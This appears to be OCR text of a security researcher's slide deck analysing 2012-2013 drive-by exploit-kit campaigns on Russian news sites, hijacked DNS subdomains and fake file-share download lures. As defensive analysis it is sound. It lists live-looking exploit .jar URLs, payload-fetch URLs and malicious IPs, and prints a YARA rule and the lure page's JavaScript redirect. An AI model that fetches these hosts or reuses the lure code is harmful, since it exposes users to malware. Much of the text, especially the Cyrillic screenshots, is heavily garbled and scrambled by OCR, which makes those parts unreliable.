zffmagvonv.org/4ffa973cf08d249725000003/50011735362caad364000023/

OS/browser version information (Leaks some information before compromise):

http://whtgevsmddpiue.socks-information-
zffmagvonv.org/4ffa973cf08d249725000003/50011735362caad364000023/
50601014edaf66917d1c47d4G1,6,0,30G10,1,0,0

Exploit execution:

http://whtgevsmddpiue.socks-information-
zffmagvonv.org/4ffa973cf08d249725000003/50011735362caad364000023/
50601016edaf66917d1c4831/1495394/jAA2ingo.jar

Upon successeful exploitation, payload is fetched:

http://whtgevsmddpiue.socks-information-
zffmagvonv.org/4ffa973cf08d249725000003/50011735362caad364000023/
50601016edaf66917d1c4831/1495394/1196140
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Dynamically generated URLs, “new style”

Initial request:

http://ksizxzbabahgdzxhinu.conservatism-xrplsubmitshebm.org/officiallyracer-
unbelievably.htm

OS/browser information fetching and exploit selection:

http://ksizxzbabahgdzxhinu.conservatism-
xrplsubmitshebm.org/508fb5a331892c2e7d0be70/1,6,0,21/10,1,0,0/f0r
umax244.php

Exploit:
http://ksizxzbabahgdzxhinu.conservatism-
xrplsubmitshebm.org/508fb5a731892c2e7d0be7a6/1495394/kinopo.jar

payload loaded upon successful exploitation:

http://ksizxzbabahgdzxhlnu.conservatism-
xrplsubmitshebm.org/508fb5a731892c2e7d0be7a6/1495394/1863721
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Typical URLs (Fileless bot)

8/27/2012 16:07

9/10/2012 16:25

10/12/2012
13:36

11/22/2012
12:01

12/6/2012 13:41

12/7/2012 13:17

12/13/2012
14:04

1/24/2013 14:38

2013-03-01
15:05:59.013

hxxp://newsru.com/

hxxp://www.newsru.ru/

hxxp://lwww.vesti.ru/vid
eos?cid=8

hxxp://mh6.adriver.ru/i
mages/0002080/00020..

hxxp://a.fobos.tvishow.
php?
pl=1&bt=23&ref=hxxp
%3A//month.gismeteo.r
u/&ac=23834

hxxp://www.vesti.ru/doc
.html?
1d=959442&cid=2161

hxxp://www.vesti.ru/doc
.htm|?id=982089

hxxp://www.vesti.ru/doc
.html?id=1012731#1

hxxp://newsru.com

207.182.136.150

184.22.165.170
91.121.152.84

64.79.64.170

62.212.74.88

206.225.27.11

85.17.92.146

64.79.67.220

208.110.73.75

hxxp://midsizedstumped.pro/2T4T

hxxp://pseriesaccused.net/7GIC

hxxp://personallymainframes.net/
7GIC

hxxp://aeswephost.info/7GIC

hxxp://kolnitoras.info/7GIC

hxxp://iprintlistmaking.pro/7GIC

hxxp://validfacts.info/ISOQ
hxxp://zagglassers.info/ISOQ

hxxp://erasads.info/XZAH



alavbukh.ru, tks.ru, etc. May 2012

glavbukh.ru, hortezam.info/RK85
tks.ru, etc. IP:64.20.35.194

Diagnostic page 56k

hortezam.info/ORK85co
Exploit 13k IP:64.20.35.194
Not Bot :_ Payload 106k
—, -~ hortezam.info/1RK85ss
""-____ IP:64.20.35.194
L h,,
—
e
HTTP POST o
mobility65w.com < > 80T
IP:37.58.73.171 Mo timeout

arg  hl=us&source=hp&qg=-1785331712&aq=f&agi=&aql=&0q=

fleld Adobe Flash Player 11 ActiveX|1.Conexant 20585 SmartAudio HD|
3.ThinkPad Modem Adapter|7.Security Update for Windows XP
(KB2079403)|1.Security Update for Windows XP (KB2115168)|1.Security
Update for Windows XP (KB2229593)|1.Security Update for Windows



Drive-by newsru.com ver. Sept 2012

> tomatoesdaunting.net/7GIC
newsru.com IP:184.22.165.170

tomatoesdaunting.net/O7GICdqg
IP:184.22.165.170

hEmi

Not Bot

java-archive

tomatoesdaunting.net/07GICjq
IP:184.22.165.170

octet-stream

socialisminsight.org/17GICjq

7igging62z.com H,;H IP:184.22.165.170
IP:64.79.71.45 HTTP POST GET”“

gratuity31t.com J» ' 80T
IP:64.79.71.44 Mo timeout

Domains on Sep 11 2012
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Domain

Vesti.ru

RIA.ru

gazeta.ru

newsru.com

echo.msk.ru

3DNews.ru

inosmi.ru

glavbukh.ru

tks.ru

Campaign participants

Resource type

TV news

news

news
news
radio

news
news

Accountants

Finance
(Import/Explort)

When seen

Autumn 2012-Winter 2013

Autumn 2011 — Summer
2012

Winter 2012-Autumn 2012
Spring 2012 - Winter 2013
Autumn 2012
Summer 2012 — Winter 2013

Autumn 2011 — Summer
2012

Winter 2012-Winter 2013
Winter 2012-Winter 2013

unique hosts per
day

~ 930 000
~530 000

~490 000
~470 000

~440 000
~180 000

115 000

~45 000
~23 000



Background noise (exploit pack
snippets) July 2012

12/7/2012
10:41

12/7/2012
10:41

12/7/2012
10:41

12/7/2012
10:41

12/7/2012
10:41

12/7/2012
10:41

2012-12-
07 10:41

151.248.115.137

151.248.115.137

151.248.115.137

151.248.115.137

151.248.115.137

151.248.115.137

151.248.115.137

hxxp://users.nalog-

tax.info/sapes/1/809fc17e1cf9fbd5c559913863148189/hxxp

%3A%2F%2Fwww.buhinf.ru%2Fthemes%2F97019.html

hxxp://lusers.nalog-
tax.info/x/3fa91b6baa018479e6bf7bd589829367.jar

hxxp://users.nalog-
tax.info/sapes/1/809fc17e1cfofbd5c559913863148189/
com.class

hxxp://users.nalog-
tax.info/sapes/1/809fc17elcfofbd5c559913863148189/
edu.class

hxxp://lusers.nalog-
tax.info/sapes/1/809fc17elcfofbd5c559913863148189/
net.class

hxxp://lusers.nalog-
tax.info/sapes/1/809fc17elcfofbd5c559913863148189/
org.class

hxxp://users.nalog-
tax.info/sapes/1/809fc17e1cfofbd5c559913863148189/
a.class



Background noise (exploit snippets)
January 2013

17.01.2013
15:03

17.01.2013
15:03

17.01.2013
15:03

17.01.2013
15:03

17.01.2013
15:03

17.01.2013
15:03

17.01.2013
15:03

151.248.118.68

151.248.118.68

151.248.118.68

151.248.118.68

151.248.118.68

151.248.118.68

151.248.118.68

hxxp://chapter04.bank-soft.info/
x[74377d39a14577b95e45ee3e653f0e72.jar

hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36c9f969¢c5718745e/
com.class

hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36¢9f969c5718745¢/
edu.class

hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36¢9f969c5718745e/
net.class

hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36¢c9f969c5718745e/
org.class

hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36¢c9f969¢c5718745¢el

ava/ security.class

hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36¢c9f969c5718745¢€l
ava/security/ cert.class



Suspicious application types

Mozilla/4.0
(Windows XP 5.1)
Javal/l.6.0 26

Mozilla/4.0
(Windows XP 5.1)
Java/l.6.0 30

Mozilla/4.0
(Windows 7 6.1)
Java/l.6.0 31

Mozilla/4.0
(Windows 7 6.1)
Java/l.6.0 31

Mozilla/4.0
(Windows 7 6.1)
Java/l.6.0 31

12/7/2012
10:41

9/24/2012
12:13

1/17/2013
15:03

3/15/2013
13:27

3/15/2013
13:27

151.248.115.137

78.46.254.21

151.248.118.68

151.248.122.161

151.248.122.161

http://users.nalog-
tax.info/x/3fa91b6baa01847
9e6bf7bd589829367 .jar

http://core01.pic-
user.in/x/a4613715c05f801c
e34056f20b3d4aab.jar

http://chapter04.bank-
soft.info/x/74377d39a14577
b95e45ee3e653f0e72.jar

http://early.desarrolloelfa.at/
x/3c9d6376b53b3f763f636d
972f755a37.jar

http://early.desarrolloelfa.at/
d/b63c6ffae04a23b151f1a8
152986924c

application/

octed-stream

application/

octed-stream

application/
octed-stream

application/

octed-stream

application/

octed-stream



Detecting typical fields inside
payload
* For example (YARA):.

Rule SploitMatcher {
strings:
$match01 = "com.class™
$match02 = "edu.class"
$match03 = "net.class"
$match04 = “security.class”
condition:
all of them

Problem: you can't deobfuscate javascript with Yara. But you can block the payload,
Which would be fetched by the javascript, thus break the exploitation chain.



Or you can roll your own..
personal crawler with yara
and jsonunpack :)

see the code example In

-




Not a typical chain, payload in jar,

S total the same exploit
’ © pack feb 2013

SHALSR: 16637 c3495565547 04051933457 oY edS027 bbed ba3aab 10252993005 a4
File name: amigos.class
Cetection ratio: 0/ 45

Analysis date: 2013-03-20 18:21:01 UTC {1 minute ago )

AL PLLUOUE GO AL L I LI 0 UG I LR L 1 U g PR YT
rkerf, servebbs,net 3739 conker . xhkml 241 testihtml; charset=lTF-3
rukerf, servebbs,net  fgo.phprid=3739%ip=109,23 Jtsession=1e9C90782ca355:E6, ,, 837 textihtml; charset=lTF-8
rukerf servebbs,net 3739 counker . xhkml 0 kexkhtml; charset=LTF-8
rukerf, servebbsnet  fstart, php?id=373%8session=1 9907520430500 3090p=109,23¢ ! 129 bexkihtml; charset=UTF-8
nukerf servebbs,net  foounker, swi 1 471 applicationfs-shockwave-flash
rukerf servebbs,net  fdacar.php 173 keskfhbml; charset=UTF-8

erupts. reflective, dkacoboaspiresghic.biz — fwests, himl 29158  kextihtml; charset=utf-g

erupts, refleckive, dkacoboaspiresghic.biz -+ [1ogipgDrgwprewrdrgeroriCo) 7 OpoeCxeH7E R0 70T assimilating. s 4978 texkfhtrl; charset=utf-3
erupts, reflective, dkacobiraspiresghic, biz ,I'?4nnglpgDrgwprewr4rqErnrlf’rq,l'ISEEE.EDES,I'snpthan jar 6015  application/java-archive

erupts. reflective, dkacoboraspiresghic.biz - [S74nogipgCrgwpremrdrgeraridg) 132 57 710 applicationjava-archive




Compromised DNS servers,

domains reputation doesn't work

Legimate domains are compromised

Compromised DNS is used to
generate sub domains, which are
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Stolen domains, example:

Time
24/Jan/2012:18:59:54

24/J]an/2012:19:00:18
25/J]an/2012:09:36:31
25/)an/2012:09:36:33
25/)an/2012:09:36:44
25/J]an/2012:09:36:45
25/J]an/2012:09:36:48

26/Jan/2012:07:28:05

31/Jan/2012:10:27:35
31/)an/2012:10:27:47
31/Jan/2012:18:18:51
31/Jan/2012:18:19:03

04/Feb/2012:12:02:51

06/Feb/2012:09:08:51

URL
GET http://csrv2.fatdiary.org/main.php?page=7a5a09bea4d91836

GET http://csrv2.fatdiary.org/content/field.swf HTTP/1.0

GET http://csrvl5.amurt.org.uk/main.php?page=7a5a09bea4d91836

GET http://csrvl5.amurt.org.uk/content/fdp2.php?f=17

GET http://csrv15.amurt.org.uk/content/field.swf

GET http://csrv15.amurt.org.uk/content/v1.jar

GET http://csrv15.amurt.org.uk/w.php?f=17%26e=0

GET http://csrv23.UlUlopenvrml.org/main.php?
page=7a5a09bead4d91836

GET http://csrv24.air-bagan.org/main.php?page=7a5a09bead4d91836

GET http://csrv24.air-bagan.org/content/rino.jar

GET http://csrv35.air-bagan.org/main.php?page=7a5a09bea4d91836

GET http://csrv35.air-bagan.org/getjavalnfo.jar

GET http://csrv29.prawda2.info/main.php?page=7a5a09bead4d91836

GET http://csrv89.prawda2.info/main.php?page=7a5a09bea4d91836

IP
146.185.242.69

146.185.242.69
146.185.242.69
146.185.242.69
146.185.242.69
146.185.242.69
146.185.242.69

146.185.242.69

146.185.242.79
146.185.242.79
146.185.242.79
146.185.242.79
146.185.242.79

146.185.242.79



The same nameserver

amurt.org.uk 46.227.202.68 Registered on: 15-
Oct-1999

Name servers: nsl.afraid.org

air-bagan.org 122.155.190.31 Created On:05-
Aug-2006

Name Server:NS1.AFRAID.ORG

fatdiary.org 71.237.151.22 Created On:17-]Jul-
2006

Name Server:NS1.AFRAID.ORG

prawda?2.info 91.192.39.83 Created On:18-0ct-
2007

Name Server:NS1.AFRAID.ORG
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Malicious domains reputation and
compromised DNS accounts

® Starting from August 2012 we detect second wave of
this campaign, be careful, examples Sep 2012

® alex0l.net -> 46.39.237.81 >>>
games.alexO0l.net ->178.162.132.178

® socceradventure.net 72.8.150.14 >>>
mobilki.socceradventure.net ->
178.162.132.178

® talleresnahuel.com 74.54.202.162 >>>
kino.talleresnahuel.com -> 178.162.132.178

® qultivator.se 72.8.150.15 >>>
597821.qultivator.se ->
178.162.132.166
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Fake Fileshares are dangerous

Specifics:

- simulation of filesharing e
website >

- real domain is used for
SEO (search engine
feeds return content
within this domain at
high positions)

- cookies are used to
“serve once per IP”

- page content is
generatgd 196
automatically




Legit domain(Mar 2013), registered In
2007, but

+ D ‘ A we.manhbacson, com,en, bl irve

"'l' Foogle _,';:'| A ||

wiww.manhbacson.com rﬁ@ﬁ]@ ‘Ud__\l?_' mTuﬂ[H] \m}{mm |1‘ﬂ§5|] m G_E?_ m_?_ —

MANFH BACSISON

MBS Co. Ltd.

TRANG CHO | ABOUT US

PRODUCTS CATEGORY LASTEST NEWS

_— = Anger over Tet
= bhonuses leads
- to strikes in FIEs

¥Tet  bonus  problems  are
contributing to strikes ..

% WOOSUNG PUMPS

% EUROFLO PUMPS

% AOLI PUMPS

2 FINISH THOMPSON PUMPS

Unlicensed
& BO'M THUNG PHUY

t» DREND PUMPS slaughterhouses: Waste,

feces, feathers and filth
¥Follow as MNauoi Lao Dong
reparters Long Giang ...

B ARGAL CHEMICAL PUMPS

> OBL MEETRING PUMPS
Precious  little
space for
parking in Hanoi
¥The price of parking in Hanoi
has increased ..

& MAY THOI KHi TAIKO ; . s 3
Cac chung |Da| 5an pham

2 CONTROL DEVICES
& BOTOU PUMPS

& VARISCO PUMPS
PRODUCTS LATEST




POwned... (reputation doesn't works)

referrer

http://yandex.ru/yandsearch?
text=%D1%81%D0%BF
%D1%80%D0%B0%..

http://www.manhbacson.com/|
oad/download/blank-spravka-o-
balansovoy-stoimosti-3d.php

IP

112.78.2.11

62.75.182.222

URL

http://www.manhbac
son.com/load/downlo
ad/blank-spravka-o-
balansovoy-
stoimosti-3d.php

http://id000222.info/
72&keyword=
%25D1%2581%25D0
%..



Site: alldistributors.ru

Real domains are used

Bce /I pubbiTopn Po ATA/101, HOMIIA o pubbioTOpoR POH3BOAMTE fIE pe ACTaBHTE IhCTR D a efo |
Elle Edit View History Bookmarks Tools Help
,O Bee AMcTpHBERITOpE! Pocckk, KaTanar ... X IT BecTH.RU: B MeTepfiypre TpakTop pes... © | + -
(' > | p alldistributars.ru = tfr yfgnb loki d ctnb )r\l A - -

AlLLDistributors.ru

KATANOI

NPOHIE0AHTENH
AHMCTPHBE OTORE!
NPEACTAEMTENECTE S

OBBABNEHWA

L]

b [2] @
NOMCK NapTHEROE
NpECe - penusbl
HAPKETHHIOBEIE AKUHH
HHTEREEHD
ofz0peEl

O HAC

0 NpoeKTE
HOEOCTH NpOEkTa
MpECCa O HaC

MEl - CIOHCOPBI
HAWH NPECC-PEnH3L
KOHTaKTEl

HALWUM ¥CAY¥TH

CO3AaHHE CaHTOE

ssss s

BoifiepuTe oTpacnb:

Bre AucTpubeoTopel Pocchd: karanaor.
JNcTpHGE OTOPE NPOAYETOE MHTEHMA, KOMNEITEPHEH TEXHALH, NPOrPaMMHOTe ofeCcneugHNA, CHOTEN
fesanacHooTH, oaexan, ofyEW, ximin, asTomofuned, npouera
Mpecc-penuse, ofisop, HHTRPEEI, TRHARPH.

AYTCOPEHHT M KOHGANTHHE hMHAHC O Sk, W8P KETHHIOERI, YNpaENe HuscKii, ByxranTepokmi

HOBOCTH| NPECC-PENM3LI ECEHORCCM
NereHnapHble YHHTasb! [DO = »

YHuTaze [D0 (WAQ) ===

NpoekTHPOEaHKE DEBEKTOE KEMEHOAOROKHOID TRAHCMNOPTS > >

Brifap MOBHNLHEX CTEHAOE ANA BRICTABKN == >

AMETPHEYLNA NaKOKPACOHHER HILEMHA 5=

O NPEMMYLLECTEAY NOKYIEH GETOMOBHNEA ¥ OfHUKANEHLIX AHCTOHALITOPOE =+

AMNo, Ml HWEM HOBBIE BReHasll >

NanuaTUNEHOBEIE TRY Bl KAK HAMMYHWEE PEWEHHE ANA KOMMYHHKAUHA, >>>

«Mana Naprycs v «nana MpanTa» Bce BPEMA HA yoTax AsTonmOWTENed =>>

AMETPHEYLNA TOBAPOB C NOMOWEH 3ETOMATOE =3

HOBOCTM' MAPKETMHIOBLIE AKLMM BCE HOBOETH

MNoaaem obbABneHne DecnnaTHo ===
S+1 HoyTBYK B nogapok! ==
Cymin ana AoyThykos Crumpler: 104+1=101 ==
AkuKA oT ASUS: «10+1 nnaHweTts ==
NofapkH Kaxaony 3a 3aKynikck S50 A-DATA B MERLION! ===
AApHM NASHWETE A0 KOHUE AgKabpAl ===
CrelnaneHele NPEANOKEHHA H3 NPOAYETE SpacEyes3D KoMnaHun MeonHdopMuia M SPACEYES
00BABNAKT 0 CNBLMANEHEIX NPEANOHEHHAX HA THUEHIHA HA NPOTPAMHHEIE NPOAYKTE NHMHERKH
SpacEyes3D 5.0, LeACTEYHOWKY A0 KOHWE AHBapA 2012 roga ===
. |

S PYCCKOR3BIUAR
* * EBPOMA

BXOJ:

Torud:

Mapons:

perucTpauus

NOMCK NO CAHTY:

[ ]

® na komnanman

O o wasomman

~

|

URL on the same site: alldistributors.ru/image/

HauaTh KpaTHOe CO/ePRKaHHe HanMTa/ MapKe - (ainoo6me HHMK 018 Bac - Mozilla Firefox 0| x

Ele Edt View History Bookmarks Tools Help

‘ 22 Antivirus scan For st UTC - |ﬂwhuis CepENC - MpoBEpKa . | | KpaTioe copepsare kan.. | £ Cravars kpatkoe cogepx... X | L Crauars kpatkoe cogepx... |

& )P || £ eldistributors.rufimagekrathoe-soder zhanie-kapitakmarks.php
L

0“
ALL - FILES

7 - e[ 48~ cooge

. [search using Googie]
Zabend napone? BoAT

Mapone: BX0R

CKa4aTh KPATKOE COMEQKAHME KANUTAN MARKD

B cromema s

Tyuwee: MaKkap Uyapa FOPEKDTD KPATKOR COARKEHME » CKAUATE KPATKOR CONEPKaHMe KaMHTaN

b Tnaenan Mapke Bcero apxMBOE 3aKauaHo:
b Cobr WA haiina - KpaTKoe-cop.epkanie-KkanuTan.apkc 4639 daitnos

Penua: 512 aiinor ceromua:
[ OnepaunoHHaA cHoTena: Windows (Bee sepcud), Mac 08 Jaguar 22‘3 ok MEHTA N

¥ Pazuep pokymenta: 3 Mb Aok

baiin npoeepen: Dr\Web, MeAfee, Norton Antivirus

b rpel 3aka4aHo Buepa:
266 apeoe
o m
KDATKOR COAEMKAHUE KANATAN MapKe .
P Apiwen LlenTpannzoeanHan cnyxd
N MponsBoauTens: He ykazaH MIHOBEHHOM DBMEHa

b Daiine Muuensna; BacnnatHas COOBUEHHAMM CETH VIHTED

Tone B peiitnire: 976
P Hosmhior aumBaniit haina: 253 Opera

Sarpyznn: Noxaprnk Bef-Opayzep n npomamme
P Nyuwes naket ana pabotel & MHTer

“BHAMEHKE, "KPATKOR COABPKAHWE KANKTAM MAPKE' HE NPEAHAZHAYEH ANA KOMMEPYECKarD BEINYCHARMEIA KOMNAHHEM
b Tor-100 L M eroe n UENA, Bl MOKETE HARYWMTE FETORCKHE Software

NpaEa ENARENLLE MaTepHana. X .
[ WinArmp

HaC i i
Tern: kpaTkoe CONEHAHNe KANMTAN MAKS, CIAT YETANLIE HIELLKN MAHYC EiCTpelR, IO 2yauo/en
nponpEeaTent 4A Windo

) OBpathan ceass KOTOPBIA 33B02BAN D4EHE

tranacos: 7) Sonbun NoMYNAPHOCTL &

[o6agun: Elekiron, June 18, 2011, 17:27, 10:13, MpocwoTpos: 564, KOMMERTApHM (4)

MACKS 1A CHE CBOMMM PYKAMI
5 (hopM OTHETHOCTH
AOIDKHOCTHAR MHETRYELAA
AEKYPHOTD aNEKTRHKE

KMPlayer

e ga-NponmEEaTENE 23
BIOe0 hainoe 4nA Windos
BETAOEHHBIMM KOAE KA

e

* KOHBEPTEP BaNIOT YBWECKAA KPOH uTarrent
* [ONBIA KOHEYPE BUABO ge‘_f__nnmrr:g;nwewmﬁ ©
® TRYTNA [YKW BERRX CIYWATE itTirent (P2P)

OHEH

KDHKYDC ABTCKI: TaHUER

Buonapoke 4iA getei

CEEMETE KAPTY ANA QaTMIN nuyi

KK CABMATE KPACMBYI NOAEMKY

PKOHM TEET MynETHMEM

MHCTRYELMA N0 TEXHHKH

BesnnacHoCTh Ha cknage )

* OBOIER SaKHETD CTEKNa oo pykann - AOLUKOMBHC
pyKamu obpasoeaHne

 WHCTRYELMA NO NROWHEKE Iphone |.'nuw|nr|-.| UieT B
R o

GROMIEKTMH HHCTRYH
MPAKMBHEHWH TabneTky,
U3 KaPTOHA CEOKMM

e




=) KpaTHoe cojJe p#aHHe HanwTan mapHc — HHgekc: Hawnoch
File:

Edit  Wiew

History

Search Engine Optimization

M/IH oTEe TOR - MozZilla Firefox

Bookmarks  Tools  Help

[ pf—\ntivirus scan For at UTC - WirusTokal l'i'whois CEPEHC - NPOEEpKa cEoboaH... I |£, KpaTkoe coasp#aHie KankTan map... * I p CKaHaTe KPaTKOS COASPMKaHHA SHa...

€

e

||i,. yandex.ru/vandsearchtext=KpaTKoe+ColepHaHHeE+HEANMT AN+ Mapkcir=213

vy v e| |':." Google

9 HAEKC KpaTkoe cofemmiante KanuTan Mapke

Hawnock
2 MNH OTEETOE

Nowck [oura Kaptel Mapker Hoeoct Cnoeapy EBnoru Bubfeo  KapTukw ews

|| B HaWgeHHOM | | B Mockee PECUWMAEHHEIR NOMCE

Kapn Mapke kanuTan KpaTkoe cojeprkaHue

HaiTi

PoM HaxonkK

HacTtpoika
Pervon: Mockea

PazmecTure ofikApneHue no 2ang
«KpaTkoe conep#ane .. »

zKanuTans: — «penduyafilles NOAMTHKO-IKOHOMWYECKDE NPOM3EEAEHHE HAWEro Baekas. M
HazbliEan eKanwTans nenom ceoel xuznM. ... MNogzaronoeok sKanntanaz— «<Kputiea
NOAWTHYECKOR 3KOHOMWM»—ENONHE COOTEETCTEYET TRORETHYECKOMY COOepPKaHHK
zKanutanas .

filzslov.ru » kAB7-kapital html  konwa  ewé

KoHcnekT no Kanutany K. Mapkeca

Tun: Pedepat B paboTe ecTe: pMoyHEM 4 WT HAzbik pyccedi. PazmecTun (a) Zeus. Pazmep: 48
KA. Kateropua: 3koHomuka. KpaTtkoe onucadue: Toeap ecTe EHELWHKMEA NpeldmMeT (BEeLE],
KOTOPAA YA 0ENETEOPALET KakMe-NMbo YenoeeYeckle NoTpeBHOCTH, B...
CoolReferat.com » Koncnewxr _no Kanutany K. Mapkca  konua

ELLE

CkaYaTh KpaTKoe cofepraHue Kanutan Mapkc - hadnoofmMerH9k ANa Bac
*BHrmMaHHe, "KpaTKee copepiXaHHe KanuTan Mapkc” He NpefHasHayved ANA KOMMERHECKOro
NoAs20EaHMA. MCNoNEsyA ero B KOMMEepYeckly Lenax, Bel MoxeTe HapyWWTE aETOPCKWE NpaEa
EN3AENELS MATEpHAana.

alldistributors.ru » imagefkratkoe. . kapital-marks.php

Konua BLLE

«KpaTkoe Cofep¥aHne ... » B Kap

BAAMM
AMHMTPHMEB

Bce kapTuHrM

High position in Yandex results

~ iGoogle

Il

ALL - FILES

Mapone: Safbinu Napons? BoHTH

HTaKTkIl

(] HagurawMa ' ‘ CKaYaTE KRATKOE COARQKAHWME KAMNMTAN MapKko
You have chosen to open
Tydwee: Makap Yy0pa MpbKOrn KPaTkoe COARMKAHME » GHaYaTh KPATHOR COOBQHEH
P naeHan mankc [ kratkoe_soderjanie_kapital_marks.exe
" _ ) - ) ) which is a: Binary File
b Codr Plell:i:;!:-n;?; -;g;.:moe-co,n,ep,;..1uue-k.1nm.1n-|.|.1|mc From: hetp:/faldaymedia.ru
b Mysoika OnepauMoHHas cHcTena: Windows (Bee Bepcuud), Mac OS5 Jaguar would you like to save this file?
¥ Pazuep pokymeHta: 3 Wb 5 =
Maiin npogepen: Driweh, McaAfee, Morton Antivirus —Ia"e = E=3
P Hrpe
JEE apEMEDE
o m
> MpoLneks Ton 5 Nporparm
KPATEOR COABEMEHNE KaNMTAN Mapk: oo
P Apunen LIeHTpaNME0ESHHAA Cryba
. MpousBoaNTENb: He ykazaH MTHOBEHHOID 0BMeHa
P Dadne NMiueHana: EacnnatHan cOOBWEHHAMK CETH FIHTEpHET
Tone B peittiyre: 976
P Hoeuuien Craumeanni (paina: 253 Qpera .
Sarpysin: NoxRapkui Bef-Gpaysep U NporpammMHei
P Nyuwee nakeT AnA paboTel & FIHTepHeTe,
THHUMEHKE, "KPATKDS COOSPMAHWE KANHTAN MapKT" HE NPEAHAZHAUEH ANA KOMMERUESCKOTD BBIMYCKASMBIA KOMMaHWeR Opera
» Ton-100 NOML30BaHUA. MCNONL3YA Br0 B KOMMBEPHECKWN LENAY, Bbl MOMETE HAPYILMTE AETOPCKUE Software
Mpaea ENagensLa MaTeprana. )
> O WinAmp
Hac i i
Teru: KpaTEOR COA2MAHME KANUTaN MAPKE, CNAT YOTANEIE MIPYILEN MUHYT BEICTREIR, TMBKWA aydno/enaeo
MPOMIPLIBATENE 4NA Windows,
P OfipaTHan ceAsk KOTOREIA 23B02EAN OHEHE

l l Tywee

10 0 UF UF TF (ronocos: 7)

AoGaeun: Elektron, June 16, 2011, 17:27, 10:13, MpocMoTRoOE: 554, KOMMEHTARWK (4)

BOMEWYH NOMYNARHOCTE B MHRE.

KMPlayer

hienua-nnnurnLiEATENL Avnun u



Payload loaded via social engineering trick

File name generated to match your search engine request

Opening kratkoe_soderjanie_kapital_marks.exe

You have chosen to open

E kratkoe_soderjanie_kapital_marks.exe Dnc l i Ck =

which is a: Binary File
From: http:ffalldaymedia.ru

'KpaTKoe CONepKaHMe

Would wou like to save this file?

Save Fils | Cancel |

Download button::

= =noindex=
=l <a -:unn:lin:]-:='rcpalrr:ne CoTepHatde EamdTan Mapec')" rel="nofollow" href="#"»
<img sreo="theme filesfsdownload.png” alt="" style="border: Opx solid ; width: 15lpx; height: S&px;"=
=/ a=
<a onclick="admnin fuck('mpaTEoe coIep 151 % 55 prc' )" rel="nofollow" href="#"rxparkoe COTepHaHMe HATMTAT MapRC </ a>
< /moindex> .

function admin_fuck(key)

var url = 'http:/lalldaymedia.rulfileserver/search.php?search=1&query=' + key;,
var what = new Array(‘aanieaoii’, 'nea?aou’);
var by = new Array(", ");

for (var i=0; i < what.length; i++) {
url = url.replace(what[i], by[i]);
}

window.location = url;
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&) Co

Search: | allday x

The Following cookies match your search:

|| alldaymedia.ru schemal

&) Agentload - Dafios i nouckoruy - Mozilla Firefox

Mame: wisited1

Fle Edt Vew Hstory Eookmarks Tools Help

Cookie

File downloaded only once. After cookie is
set a redirect to a page, which shows
content that asks for a fee to be paid via
SMS.

T
Content: 1%:2C6 | B nkivins scan for ot UTC -YinusTotal | Y Whois cepovc - nposepea coofioaroro .. * | 1 Kpatoe conepuarve kanvranapez —. | | Agentioad - Garinones novcrosmc | L Geaars mporpamma ana yaanermvind... < | + |
Hosk: a||daymedia,r|_| € )9 || [ agertiosds. 0. =100 msquery = EATFO% B0 27 E AT EE VoS 49 BT ES I ESToE D EDYLE S ES - EA VB R ToE SR 2 E DB 2oE CHE O FOEATFL -l - Pl | =
NFLS =

Path: [fileserver|
Send For: Any bvpe of connection
Expires: Thursday, May 17, 2012 1100034 |

Remove Cookie

#/Start| ) Downloads @ Crauars kpatkoe c...

€ Agentload D E

Balll NOMOUIHHK B CHaMBAHAN Daiinos

i 222 Dunbub: Wyatika: Hipei: A Cogr
Mouck pannos | aiina (\[) 91578 daiina 18267 aitna H’\‘ 56629 aiina

YTo BbI XOTUTE HAWUTN?
Q’\\k KpaTKoe CopepaaHe KanuTan Mapke ™
= Harpumep, Muparst kapuicioro Mops

Bul nwete chaiin: ¥
KpaTkoe codepxaHne KanuTan mapkc

CropocTe ckauMeanua: 1789 K/cek.

Cravann: 1876 paz.

BHDYCOB He 0GHAVKEHO

Ko owe

Ckaungaite Bce, YTO prI'IHélfII.Llaﬂ ceTb HéOI'paHlfl‘{eHHblé
yroaHo! 3arpysok 3arpyskm
MNoxoxue dhaiinel
Kparkoe Buitctes / Mpoadwne yBuictea / Profile for Murder (Aasun Viswnuned (1996, tpunnep, apama, YHSRIp) 1024 3
£ : & Cravare
0] (Doneckni Me
Banaute: Besymuei Mapke / Bandits: Phoenix Rising (2002) [RUS] [RePack] 563 Mo 2, Cravare

«EU9 102em
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Not typical IP address
Mar 2013

14.03.2013 13:13
hxxp://ec.europa.eu/dgs/home-affairs/what-we-
do/policies/borders-and-visas/visa-information-
system/index_en.htm

-> GET hxxp:/10.0.0.0/

14.03.2013 13:21
hxxp://ec.europa.eu/dgs/home-affairs/what-we-
do/policies/internal-security/index_en.htm

-> GET hxxp:/10.0.0.0/

15.03.2013 10:53
hxxp://ec.europa.eu/energy/international/bilateral _cooperation/ru
ssia/russia_en.htm

-> GET hxxp://10.0.0.0/



Not typical IP address

7 Favorites [ EUROPA - European Union website, the official EU we. ..

| ﬁ - B | g%g * Page = Safety » Tools = l@v *

- European Union

europa.eu

EURCPA

3
@j’ How the EU works

Worlk for the EU | A-Z Index | Sitemap | About this site | New on EUROPA | Legal notice |

« Countries

« Facts and figures

» Institutions and bodies
« Work for the EU

« Funding and grants

$hoBes  147.67.119.3 200
@ 147671193 200
STl 47670193 200
ST 47670193 200
ST 4670193 200
ST 47670193 200
@ 975 o2

{9876 147.67.119.3 200

Fmm e mem

EU by topic AAAITL t

= Agriculture

« Trade C(

» Economic and monetary affairs General informadt

« Employment and social affairs
p. ' . _ (C) Call oo 8oo 6
« Foreign and security policy

ec.europa.el  dgshome-affairs fwhat-we-dofpolicies borders-and-visas visz

I j

ec.europa.el  [dgshome-affairs scripts iquery. is
ec.europa.el  [dgshome-affairs scripts iquery. is
eC.europa.el  wellscripks comm commission, s
ec.europa.el  fwellscripksfiflangnar. is
ec.europa.el  wellkemplate-2009 scripts/ibrary s

0.0.0.0
BC,EUFOpa, B

I
I
I
I
I
I
I
I

welftemplate Eﬂlzfstylesheetsfec -fite. css



Encoded IP address
(Netprotocol.exe example)

Bot Infection was: Drive-By-FTP,
now: Drive-By-FTP, Drive-By-HTTP
Payload and intermediate malware domains:Normal, Obfuscated
Distributed via: compromised web-sites
C&C domains usually generated, many domains in .be zone.

C&C and Malware domains located on the different AS. Bot
